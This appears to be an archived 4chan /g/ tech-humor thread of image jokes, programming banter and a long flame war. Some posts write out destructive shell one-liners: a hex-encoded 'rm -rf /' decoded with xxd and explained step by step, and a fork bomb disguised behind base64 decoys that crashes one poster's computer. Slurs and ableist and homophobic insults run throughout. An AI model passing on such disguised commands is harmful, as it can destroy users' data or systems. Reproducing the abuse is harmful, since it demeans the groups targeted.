/g/ humor thread

>>56694638
Can someone explain to me this joke... what that error class has to do whith a lot of abstraction layers?

>>56694676
>abstracting so much that you run out of memory

>>56693560
kek

>>56694857
I don't get this one

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>>56694925
It's a SQL null injection which deletes the entire database.

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>>56693433

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:^)

>>56695037
Do you have the one of the kid using the on screen keyboard instead of the laptop one?

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>>56695047

>>56695064
Thank you

>>56695037
ALPHA AS FUCK

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Geek squad prices

>>56695072
he got the shakies at the start ):

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>>56695083
based as fuck

>>56694948
It must belong to the parents of little Bobby tables. https://xkcd.com/327/

>>56695099
O(n) and O(n/2) are equivalent you moron

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>>56695113

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>>56695126

>>56695072
>you_pass_butter.asf

>>56694857
Yeah sure... The programmer let the user input executes commands code that could corrupt or erase data... that's super smart...

>>56695126
>>56695133
Post the one with the news that he drowned.

>>56695083
hahaha the asshole eyes of the robot interface before screw the game it's the best...

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>>56695200
he drowned?

>>56695234
During a storm or something. Went missing actually.

>>56695193
>what is sql injection

>>56695110
/g/ knows that it's a joke of the behavior of the different states of cells in the conways game of life? right?

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>>56694948
>>56694925
Good ol bobby tables...

>>56695037
Damn..he is chillin

>>56695248
OK... I'll do some research...

>>56695291
oh boy, what are you doing on a tech board...

>>56695285
carpe diem

>>56695122
it's not my picture, the fuckhead who made that didn't understand big O

>>56695304
OK sir... I'm leaving this borad forever just because you insult me...

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>>56695193
>what is input sanitization
10-12 years ago when all this webdev shit started and all the new "programmers" started flooding the internet, SQL injection was the way to go to pwn a system. Even universities did not propertly implement input validation.

>>56695356
Thanks for the information sir...

>>56695072
thanks doc

>>56695376
still better than the crap that usually comes from Sun

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>>56694974
why

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>>56695414
>/g/ humor

>>56694846
holy fuck lol

>>56695269
no, it's posted all the time but nobody knows what it means

>>56695432
Underrated

>>56695605
It's kind off like that the democrats used to be the Conservative party

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>>56695613
ty anon

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>>56695467
>Homosexuals
>well adjusted

>>56694884
>>>/v/

>>56694915
ecksde

>>56694824

Lol, what a stupid redditfag

>>56694824
>throwaway00016

Obvious troll is obvious.

>>56695639
I wanna go home.

>>56695015
Muh sides

>>56695432
actually laughed aloud, thx mate

>>56695549
Why didn't he just

$ man abs

then?

>>56695417
I can imagine him as he say this. :)

>>56695446
Samsung netbook on the pic.

>>56695015
Shellhunter

>>56696610
>Moot is a macfag
Why does this not surprise anyone?

>>56695512
>Games (20MB)
lmao

>>56696610
>scarf and gloves inside

all he's missing are some cool shades

>>56694953
Would be funnier if it was slightly different but still an animu grill with screenfetch.

>>56695028
>not Gilfoyle
Oh come on

>>56695098
Holy shit

>>56696700
lol

>>56696677
Needs to be a different distro on the screenfetch

>>56696717
>>56696677
It's poking fun at the fact that everyone in desktop threads uses arch and has an anime grill on the side.

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>>56696700
>lots of dranks

every time

>>56696717
>>56696677
it's the samedesk meme folks

>>56696726
I know, just saying the joke would be better if it was slightly different. It works on the same level as the actual card scene where they all act smug on pointless trivialities when they are all identical looking execs.

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>>56695404
underrated

>>56696727
I can't help but wonder why someone hasn't just hooked a slush puppy machine up to their desktop and called it a day, just let it keep your shit cool until you intend to eat it.

>>56696752
That's the fucking joke you idiot

>>56696774
please tell me this was just photoshopped and no one actually went through the trouble of setting all this up.

>>56696825
Dude, that's what I'm saying, read my post a second time.

>>56694963
We know Apple shits on their users like Nvidia

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>>56696826

>>56694974
>>56695414
Hello mr.samefage

>>56696870
this is kind of edgy but at least it looks cool.

>>56696741
this nigga could make a version of minecraft using only powerpoint and in one sitting. i'd def hit him up with a schoolership if i had any

>>56696639
>MB Air
>indoor
>where you have PC/iMac too
'Murica

>>56696826
http://www.digitaltrends.com/computing/anonymous-os-is-here-but-you-probably-shouldnt-download-it/

>>56696774
missing fury or gay porn tabs on bottom...

Kali meme tho

>>56695234
>tfw we code in nodejs at work

>>56696769
Enjoy your smudgy ass monitor

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>>56695111
Fuck I lost.

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>>56696922
yandex reverse image search > google reverse image search

russian botnet > american botnet

>>56696610
moot looks like every autistic right before a picture they know is being taken.

>>56695098
Can I kill myself now?

>>56696650
the best meme online

>>56696954
Damn anon, thanks.

>>56696626
He used to host the website on a cluster of Mac minis.

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>>56697002
do you still have the screencap? i forgot to save it.

but honestly i think moot was trolling

>>56695512
Fucking lose

>>56695549
I once typed in gimp latex into a school computer because I wanted to find LaTeX plugins for gimp ;_;

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>>56696736
This woulda looked hella good in metallic red with chrome accents.
I actually like it. Shame they aren't available anymore.

>>56693545
someone post more sleeping stallmans

>>56694676
Explanation is, angry 80s programming dropout hipster mad that he isn't relavent anymore and that nobody cares if you lose 512 bytes of memory

>>56695098
When I was younger I, prices like that gave me work, even when I did it for half the price of the actual service shops.

>>56697105
I'm actually curious about trying this out myself.
How did it go for you?
I just started college and I'm thinking of putting up some flyers about computer repair/virus removal and charging like half the price of geek squad, but I'm not sure how much business I will actually get.

>>56696407
Not anymore

>>56695099
prog newfag here
explain?

>>56696760
This would actually work fine, hes problem is that it's a Mac card and won't work on a PC without a reflash.

>>56697153
https://en.wikipedia.org/wiki/Big_O_notation

>>56697153
look up Algorithms sedgewick 4th edition, use Princeton's website.

>>56697113
Ouch

>>56696610

remember that time moot tried to leave and made a startup and it all went wrong then he cried and sold 4chan to go out and realise his dream of being a fulltime faggot?

shit was crazy, man

>>56697266
say what you will but he's now at google and making more than 95% of people here.

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>>56697130
NO STEP ON SNEK

>>56697282
I still don't know on what grounds was he hired at google.
He isn't a talented programmer for sure.

>>56697131
I never even advertised it much, just all my friends and contacts knew I'm an IT fag and word spread, I used to do all kinds of crap, from helping people to pick computers to replacing hardware or installations/reinstallations, "virus removals", setting up computers, media centers, etc.

Every other day someone would call or come at my door, there was a period when I made ~600€ a month on the side just spending a few hours every week.

Don't know how well it would go today.

>>56697266
any word on who/what he sold it to?

>>56697295
Probably community management.
That faggot's one of the pioneers of the internet as a social platform whether he likes it or not.

>>56697311
Yeah I've seriously been considering doing something like this, but after seeing dozens of craigslist pages filled with people doing the exact same thing I was kind of discouraged.

>>56696700
hello_fellow_students.txt

>>56697226
>look it up
>81€ if i want to import it to germany
>most programming books are 20-40€
welp
good thing qstalledmeme has an inbuilt search engine.

>>56697314
I used to think that was so fucking cool but never liked any of the games. Sonic, even as a kid, seemed like a retarded flagship to me

>>56695340
Thats what you should really do, fucking retard

>>56697336
The book? Its free on their FTP server. Plus the site has slides and case studies to help.

>>56696776
Faggot should be spending time with his family.

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>>56697345
i learned recently that it could actually work as a TV
they should've marketed it as a portable TV and it would have sold so much more
it was ahead of its time desu, nobody would watch TV on a device that small until smartphones

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>>56693433

>>56695636
Not many people get this but I do. You are awesome anon

>>56697363
welp.
guess ill do that then.
i usually prefer hardcover books.

>>56697441
https://github.com/mtoyoda/sl
Making people mad by aliasing to dumb shit since 1993.

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>>56697441
sl -a

>>56697474
I know how you feel. I've gotten used to reading my textbooks with document viewer with dual-pane so I can at least read it like a book.

>>56694824
What does that command do tho?

>>56697536
rf -rf /

>>56696700
>hella noms

>>56697550
>rf
rm*

>>56695432
RIP sides

>>56693545
this made my day

>>56694824
explaination? i mean, i see the echo and the pipeline, but i dont really get it

>>56697677
see
>>56697550
>>56697561
rm -rf / in base64

>>56695636
>>56697493
>sl
Truly the most important piece of software to have on your server.

>>56697693
>what is cowsay

>>56697692
I think he's asking specifically what each part does.
I can tell that the outcome is identical to him having typed in

 rm -rf 

but I also don't understand why the terms he typed in have that effect.

>>56697692
see
>>56697730

>>56697730
>>56697740
You lack common sense? There's not much to explain here, just stare at that command for a fine minutes.

>>56697722
Nice

>>56697760
>lack common sense
no, I'm just not very experienced with bash scripting.

>>56697092

My Debian Jessie home server uses 400 MB max. Stable as a rock.

My single core Raspberry Pi runs Kodi with only 512 MB. It's not fast (800 MHz ARM) but it is stable.

Android Marshmallow runs like shit on my 1 GB phone. Can't really multitask and random reboots because no memory.

Wanna know what the difference is? You probably already guessed it.


inb4 shitty phone. My phone's hardware actually outclasses my home server and rpi.

>>56697713
Not as important as sl.

>>56697760
I get the first part but what does the part after the pipe do?

>>56695004
>pager
>yeah, sure, right
holy shit

>>56697760
dont be the pajeet of the situation and give us a brief explaination, ffs

>>56695269
Hey guys I look I have to show that I understand this joke!!

>>56697853
The first part is just rm -rf in hex, and although I can't explain what each part of the second part of the script does you can infer that it reverts it back to text and executes it (I think).
Not the guy you responded to, but that's what I'm able to figure out by looking at it.

>>56697875
Thank you Anon

>>56696610
Never worked in an office as a programmer. Why do people do this?

>>56697677
>>56697730
>>56697536
Starting from left to right
$(...)
This is the start of a command. Anything that is written inside this pair of parenthesis gets executed. For example

$(echo 'rm -rf /')

will executed 'rm-rf /'

echo 726d202d7266202a | 

A common way of using programs is to enter in the information using the pipeline.

If for example I needed to use grep to search for a file there's two such ways I can do that

 cat file | grep -e 'text' 

or

 grep file -e 'text' 

Both are equal

Finally, xxd

xxd is a program that converts text to hex and hex to text. -r is reversal, -p is plain text.

So after the inside is completed, what you effectively have is

 rm -rf /

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Dating apps are technology. Do I need to explain what I found humorous here?

>>56697713
I was trying to install tewisay and its missing some tewisay.1.txt, I assume its for the man page.

>>56697941
If the thing on the right is based on FezPaladin, then I think I get it.
It's the 'summer dress' thing combined with the internet dating, right?

>>56697940
This is a great explanation, thanks.

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>>56696870
> bullet for my valentine
not surprising
cool visualization though, didn't know ncmpcpp could do that

>>56697318
Some Chinese guy

>>56694955
What's the joke here?
Seems like a relatively serious company...

>>56697980
Mostly just his assumption dating apps work for everyone else how they do for hetero men.

>>56694988
Based on those profiles I wouldn't hang with any of these guys, they just sound so fucking sad.

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I took a picture of this hanging router at a freelance job I did a year or two back.

Is it humorous?

>>56697940
What about this?

eval $(echo 'a2Vrf3xvcml\'ZW%3t`r()(r{,52}|r{,});r`2'6a2VrZQo=' | base64 -d)

>>56695122
is there a difference between engineers and universal outcasts

>>56698115
wasn't there a time where saying eval() would get you banned?

>>56698138
Bye

>>56695417
>calling anyone a nigger when you have a proper shit skin

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>>56693433
What the fuck is this Reddit shit?

Leave

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>>56697722

>>56698186
salty cs major detected

>>56695432
I don't get it

>>56695015
Won't work anyways. * Or npr missing. Faggot

>>56695432
I don't get it

>>56694995
This is so true...

>>56698115
Whatever it is, it just crashed my computer

Doing

 echo 'a2Vrf3xvcml\'ZW%3t`r()(r{,52}|r{,});r`2'6a2VrZQo=' | base64 -d 

was able to do it by itself. It looks like just forked itself multiple times, effectively creating thousands of processes

>>56698311
>running code you don't understand from 4chan

At least it was kind enough not to delete system32.

>>56698350
Echoing something to base64 doesn't (or at least shouldn't) do anything without $(). I just wanted to see what was the output

>>56697092
Writing unoptimized, bloated and lazy code contributes to global warming, by using far more energy than the program would otherwise need.

Java and VMfags are literally destroying the planet, in addition to just being faggots in general.

C developers:

[X]Intelligent
[X]Smell Good
[X]Walk standing upright, due to good genetics and high self-esteem
[X]Deep and intricate knowledge of computer hardware and memory
[X]Freely and selflessly offer profound insight on a broad range of topics
[X]Understands the use of newer languages because they understand programming, but often chooses to write in C because it is fast, portable and to the point

Java "Developers":

[X]Hostile and defensive
[X]Generally unhygenic
[X]Tend to talk about things they know nothing about
[X]No friends, let alone girlfriends
[X]Suspicious of anything other than their meme language - they do not understand programming and so cannot understand why Java is not the automatic answer

>>56698350
>not spending 30 sec on configuring a VM and maybe learning something new
yea, better stay safe

>>56698115
Well played

>>56698412
The eval, $(), echo and base64 are decoys. They don't actually do anything.

The actual payload is

`r()(r{,52}|r{,});r`

, which runs regardless.

>>56698471
>not having the smarts to reverse engineer it without running it
yeah, better stay pleb

>>56698311
>>56698350

How would someone change that crap to the actual command without running it? echo echo or something? Like how would I figure out what the command did without running it. Get a separate hexadecimal converter?

>>56698527
But the backticks are within quotes. They should be evalued.

>>56698467
>MINECRAFT IS SLOW BECAUSE OF JAVA

where did this meme begin?

This is the first time I've seen a thread derail into a more educational and informative topic than the original one.
I'm impressed.

>>56698631
Well, lurk moar newfriend

>>56695391

The connection?


>both are for pussies

>>56698663
I've been here since 2011 you fucking faggot never speak that way to me again.

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>>56698717
Official newfriend achievement unlocked.

>>56698736
>posts image of not responding to my bait
>proceeds to respond to my bait
W E W
E
W

>>56698007

I bet you could slice a carrot via the fan on the right.

>>56698717
if you would be here for longer you would know that when someone mentions "here since" it's a fact that they are talking out of their ass

>>56698752
If you had been here since 2011 like me you would have recognized that that post was bait.

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>>56698717
>since 2011

>>56698779
Needs more desu.

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>>56698779
>mfw I've been here since 2009 and I post from my phone bc I have to work most of the day

>>56698779
according to this shitty timeline phoneposters have yet to discover this website, which is obviously wrong.
Kill yourself and stay on /b/.

>>56698810
did i tickle your autism?

>>56698810
>colorbling

>>56698779

I came in 2004 following some edited ffvii doujin porn and people were yelling about cancer.

>>56693545
But he hates gentoo

>>56698855
Friendly reminder that you're here forever.

>>56698819
unlike everyone else on this site I don't actually have autism.
I know that's frowned upon here and I'm probably ruining the reputation tied to my username here, but fuck it.
I just wanted to let you know that I'm unique and bring diverse culture and thoughts to this forum site.

>>56695098
I don't see what's wrong here

>>56698874
That's bad bait, even for a faggot

>>56698066
I expelled air from my nostrils with considerable force

>>56698905
I got a (You) so it worked, faggot.

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>>56698779

Being an oldfag is suffering for multiple reasons - the biggest being why am I still here and when will the pain stop?

>>56695234
Web devs are just a giant meme

>>56695126
>>56695133
Fucking hell

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>>56695512
>Previous commands
>var b:string = "hello world";
>print("hello world");
Lost

>>56698932
It's endearing knowing there are people in such a desperate situation, I'm glad I'm not forced to act this way.

>>56694929
Is this real?

>>56699106
>on 4chan
>thinks he's better off than anyone else
As long as you're here you are literally the lowest of the low.

>>56696650
>no ethernet port
Into the trash

>>56699118
Keep believing that.

>>56699118
It's not about being better it's about being content. The person I'm replying too is very desperate for attention which seems like a nightmare scenario to be in, I'm really glad I'm not that way, it's something you can think about and compare your situation to, at least I'm not as sorry as them.

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>>56698779
2014 masterrace reporting in

>>56699118
>I'm bad therefore everyone else here is bad
LOL

>>56699151
>the person I'm replying to is very desperate for attention
And yet you keep responding to him?
And no, I'm not really desperate for attention but I'm sitting in class right now and I already learned the material were going over today so I wanted to do some shitposting.
Also, looks like I got a good b8 post finally >:)

>>56699155
mistake is in step 4.

>>56694925
me neither anon :\

>>56699173
Topkek, baby's first bait
>>>/b/

>>56699155
(a+b)(a-b) = a^2 - b^2

tho

>>56699173
>And yet you keep responding to him?
Why shouldn't I? They're dependent on it and it's of no cost to me, I'm really curious to know what these people are like. It seems like the lowest possible level to be at, ultimate destitute and exile. Can you imagine being so unlikable that the only way you can get any kind of human interaction is by posting inflamitory comments on purpose anonymously, I really wish to understand how people get to such a point, it's fascinating.

>And no, I'm not really desperate for attention but I'm sitting in class right now and I already learned the material were going over today so I wanted to do some shitposting.
I'm sorry but I don't buy this story, it's very typical of these people to be in either some form of denial or try to mask what they're doing. Even if what you say is true you're still dependent on it, you have no other choice or way to pass the time, this is your only option.

>>56699222
>still replying to my bait
You have to be at least 18 years old to be here.

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>>56694638

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>>56699258
>this is your only option
Yes, given my current circumstances my options are either listen to my pajeet professor talk about things I already know, or shitpost here and get a reaction out of people.
Pic related is my room. Feel kinda bad for the random guys face I got, but he should've been facing forward.

>>56699293
I'm sorry for your situation, maybe things will get better for you in the future. A friend or two to communicate with or something to spend your time on.

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>>56695234
>mfw i did all of that

>>56699327
>A friend or two
Just got back from visiting my friends dorm and had this class.
Seriously, I don't understand why you guys are so convinced that just because your lives suck so do everyone else's.
I'm seriously considering going back to r/technology. The community there is much more intelligent, helpful, and funny than here.

>>56699155
>dividing by 0

>>56699259
I'm enjoying your autistic responses way too much.

>>56698876
where I'm from dentists charge less

>>56699395
What a coincidence. I feel the same way about your posts.

>>56699414
Says the shitposter who made a joke of himself :^)

>>56699432
Are you really such a brainlet that you can't even discern between genuine autism and subtle bait?
I bet you use the Linux OS also.

>>56699364
If you say so I have no choice but to believe you, I just hope you're not trying to convince yourself of anything that isn't true. I'll say that it's hard to believe someone would act this way while actually being content, people that do this are very typical. You already admitted to not paying attention to the class.

I should clarify that I'm not trying to be mean or condescending, I'm just always curious about these kinds of people and the situations they're in.

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>>56699293
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>1441

'Murica, no surprise.

>>56699457
This is fucking hilarious, people like that are really in huge denial of reality

>>56699464
>not paying attention in class
I'm sitting in macro economics right now, and I've already taken micro. The first half of the courses are pretty much identical which is why I don't need to pay attention.

>>56699467
I don't understand why this is funny could you please explain?

>>56699467
double kek

>>56699464
At least he finally got some attention.

>>56699457
>Are you really such a brainlet that you can't even discern between genuine autism and subtle bait?
Poe's law. Saying such a thing on this website in itself is indiscernible from parody or irony.

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Too bad the thread hit bump limit, the one faggot who started attention whoring was really making this fun.

>>56699525
Poe's law doesn't apply to this.
Most of my posts were full of the most common and generic bait content possible.
If anyone has been here since 2011 like I was they would be able to tell it was just b8.

>>56699535
Make a new thread then. Believe it or not I did contribute a lot to this thread before I got bored and started shitposting.

>>56699522
I feel even worse now. Empathy is a curse.

>>56699467
Oh god I didn't even notice. Another sign.

>>56699549
>I did contribute a lot to this thread
No wonder the quality of the thread sucked ass

>>56695432
i don't get it...

>>56699549
>most common and generic bait content possible.
That's falls in line exactly with what Poe says. In a place like this with such a huge exchange of users it's not possible to tell the difference, if people spout it enough the new users will eventually believe it. Any community that gets its kicks by pretending to be idiots will eventually be flooded with real idiots, with the anonymous nature it's not possible to tell the parody from the sincere.

>If anyone has been here since 2011 like I was they would be able to tell it was just b8.
That's just not the case, if anything the longer you've been here the less benefit of the doubt you give.

>>56699549
Holy shit, this dude is delusional. Having a blast here.

>>56699586
I posted the following:
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>>56695113
If you had an adequate knowledge of the English language (which you probably don't since you're a europoor) you would notice that these images pretty much all received good feedback and brought much joy to several different anons.

>>56699606
Actually, I'd wager I'm one of the more sane ones here.
I'm socially normal, have a girlfriend, use a Mac, etc. I never really understood the whole obsession with autism here.

>>56694638
this still gets me every fucking time.

>>56699639
>>56694974

No doubt

>>56699639
Holy shit.
This right here? This is autism. Not 4chan "lel autistic XDD" autism, no. This is legitimate, medical grade autism. This is what mothers everywhere fear when they find out they're pregnant. This is what gets put up for adoption because parents "aren't ready for this type of responsibility". This is what midwest American idiots think comes as a result of vaccination. This is what kills families. This is what kids think of when they hear "slow". This is fucking autism.

>>56698779
>people keep adding on more categories because they want to feel cool and don't want to be associated with the ones before them

>>56699639
You're trying too hard bro, spend a few more years on /b/.
Just a friendly advice, no hate.

>>56699639
>listing out your posts like that
>being so awkward you need to count up your "I'm funny" points
This is actually autistic or at least a social disorder, maybe asburgers or however you spell it.

>>56699665
Well at least while you've been "fucking autism," I've been fucking my gf.

>>56699671
>trying too hard
>successfully derailed a thread to bump limit
I think I'm doing a bretty gud job desu fampai.

>>56699665
Topkek
>"lel autistic XDD"

>>56699689
It could just be narcissism, they don't do well with anonymity.

>>56699695
That's not an accomplishment, it's really easy to be unlikable, it's less easy to be likable and make quality posts instead of goading. Why would you act that way intentionally?

>>56699732
/b/ is leaking again

>>56699706
It's me here.
A lot of people confuse my personality for narcissism, and while I do portray many similar qualities that simply isn't the case. Narcissism implies that you are unreasonably obsess with yourself, but since k am objectively superior to everyone else here it isn't narcissism.

>>56699732
Because this is an anonymous forum and I can act however I want. I may be shot posting here but I also have more threads open where I'm helping people.

>>56699732
Desperation.

>>56699750
This is the kind of fucknuts why I come into these threads.

>>56697722
kek

>>56699695
Tell us about your dick size.

>>56699750
>Because this is an anonymous forum and I can act however I want.
Just because you can doesn't mean you should. If you wish to act superior then you should conduct yourself as such.

>I may be shot posting here but I also have more threads open where I'm helping people.
It's not a numbers game.

>>56699208
Search for -> SQL Injection and Input Sanitization

>>56699750
>A lot of people confuse my personality for narcissism, and while I do portray many similar qualities that simply isn't the case. Narcissism implies that you are unreasonably obsess with yourself, but since k am objectively superior to everyone else here it isn't narcissism.
What is the mental equivalent of poe's law? Denial?